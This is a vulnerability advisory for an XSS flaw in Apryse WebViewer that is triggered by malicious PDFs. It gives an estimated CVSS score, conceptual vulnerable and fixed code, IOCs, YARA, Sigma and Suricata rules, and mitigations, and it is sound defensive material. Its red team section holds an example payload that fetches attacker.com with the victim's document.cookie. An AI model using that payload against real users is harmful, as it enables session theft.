CVE-2024-57240

Executive Summary

CVE-2024-57240 is a Cross-Site Scripting (XSS) vulnerability in the Rendering Engine component of Apryse WebViewer versions 11.1 and earlier. An attacker can exploit this flaw by crafting a malicious PDF file that, when rendered by the WebViewer, executes arbitrary JavaScript in the context of the user's browser session. This can lead to data theft, session hijacking, or further compromise of the web application. The vulnerability is currently unpatched, and no public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability affects the Apryse WebViewer, a commercial SDK used for document rendering in web applications. It is not an open-source package (NPM, PyPI, Go, Ruby), but rather a proprietary component. Organizations using this SDK should treat it as a critical supply chain risk and monitor for official patches from Apryse.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker delivers the malicious PDF over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the PDF in the WebViewer.
• Scope (S): Changed (C) – The vulnerability impacts the web application's security context.
• Confidentiality (C): High (H) – An attacker can steal sensitive data.
• Integrity (I): High (H) – An attacker can modify content or perform actions on behalf of the user.
• Availability (A): Low (L) – The attack may disrupt the application's functionality.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.2 (High)

Threat Level: High – Exploitation is straightforward if a user opens a malicious PDF, and the impact on confidentiality and integrity is severe.

Deep Dive & Mechanics

The vulnerability resides in the Rendering Engine of Apryse WebViewer. When a PDF file is loaded, the engine parses its content, including annotations, metadata, and embedded JavaScript. The flaw occurs because the engine does not properly sanitize or escape user-controlled data from the PDF before inserting it into the Document Object Model (DOM) of the web page.

An attacker can embed malicious JavaScript within a PDF file, for example, in a specially crafted annotation or a JavaScript action. When the WebViewer renders this PDF, the malicious script is executed in the context of the web application's origin. This allows the attacker to bypass the Same-Origin Policy and perform actions such as:

• Stealing cookies or session tokens.
• Modifying the DOM to phish for credentials.
• Making authenticated requests to the backend API.
• Redirecting the user to a malicious site.

The attack does not require any special privileges; it only requires the victim to open the crafted PDF file in the vulnerable WebViewer.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

// Vulnerable: Directly inserting PDF content into the DOM
function renderAnnotation(annotation) {
    let content = annotation.getContent(); // User-controlled from PDF
    document.getElementById('annotationContainer').innerHTML = content;
}

Patched Code (Expected):

// Patched: Sanitizing content before DOM insertion
function renderAnnotation(annotation) {
    let content = annotation.getContent();
    let sanitizedContent = DOMPurify.sanitize(content); // Use a sanitization library
    document.getElementById('annotationContainer').innerHTML = sanitizedContent;
}

The fix would involve using a robust HTML sanitizer (like DOMPurify) or properly escaping the content before inserting it into the DOM.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A web application using Apryse WebViewer v11.1.
2. Attacker Machine: Kali Linux with a PDF manipulation tool (e.g., pdf-parser.py, qpdf).

Exploitation Steps:

1. Craft Malicious PDF: Create a PDF with an embedded JavaScript action. For example, using pdf-parser.py to add a /OpenAction that executes JavaScript.

   # Example using pdf-parser.py (conceptual)
   # This is not a full exploit, but a demonstration of the technique.
   # The actual payload would be injected into the PDF structure.
   

2. Deliver PDF: Host the PDF on a web server or send it via email.
3. Trigger: The victim opens the PDF in the WebViewer.
4. Execute Payload: The JavaScript executes, e.g., stealing cookies:

   // Malicious payload embedded in PDF
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   

Note: No public exploit code is available. The above is a conceptual approach.

Blue Team (Defensive)

Detection & Prevention:

1. Input Validation: Ensure the WebViewer is configured to disable JavaScript execution within PDFs if possible.
2. Content Security Policy (CSP): Implement a strict CSP that restricts script execution and prevents data exfiltration.
3. Web Application Firewall (WAF): Deploy a WAF to inspect PDF uploads for malicious JavaScript.
4. User Education: Train users not to open PDFs from untrusted sources.
5. Monitor Logs: Look for unusual JavaScript execution or outbound connections from the WebViewer.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the WebViewer's origin.
  • Unusual JavaScript files or inline scripts in the page source.
• Host:
  • PDF files with embedded JavaScript actions (e.g., /OpenAction, /AA).
  • Suspicious annotations containing <script> tags or event handlers.
• Application:
  • Unexpected DOM modifications, such as new iframes or form elements.
  • Alerts or prompts generated by the WebViewer.

Detection Engineering

YARA Rule

rule CVE_2024_57240_PDF_XSS {
    meta:
        description = "Detects PDF files with potential XSS payloads targeting Apryse WebViewer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57240"
    strings:
        $js_action = "/OpenAction" nocase
        $js_annotation = "/AA" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /onerror|onload|onclick|onmouseover/i
    condition:
        ($js_action or $js_annotation) and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2024-57240 - XSS via Malicious PDF in Apryse WebViewer
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of XSS vulnerability in Apryse WebViewer via PDF files.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.user_agent|contains: "WebViewer"
        http.response_body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in PDF annotations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57240 - XSS via Malicious PDF in Apryse WebViewer"; flow:to_server,established; content:"WebViewer"; http_user_agent; content:"<script>"; http_response_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable JavaScript in PDF: If the WebViewer configuration allows, disable JavaScript execution within PDFs.
2. Upgrade: Monitor Apryse's official channels for a patch and upgrade to a fixed version as soon as it is released.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block PDF uploads containing suspicious JavaScript.

Long-Term Fixes:

1. Input Sanitization: The vendor must implement proper HTML sanitization (e.g., DOMPurify) for all user-controlled content from PDFs.
2. Content Security Policy (CSP): Implement a strict CSP that restricts inline script execution and only allows trusted sources.
3. Regular Security Audits: Conduct regular penetration testing and code reviews of the WebViewer integration.

Workarounds:

• If possible, use an alternative PDF viewer that is not vulnerable.
• Serve PDFs from a separate domain to limit the impact of XSS.

Valters IT
DevSecOps & Cyber Threat Intelligence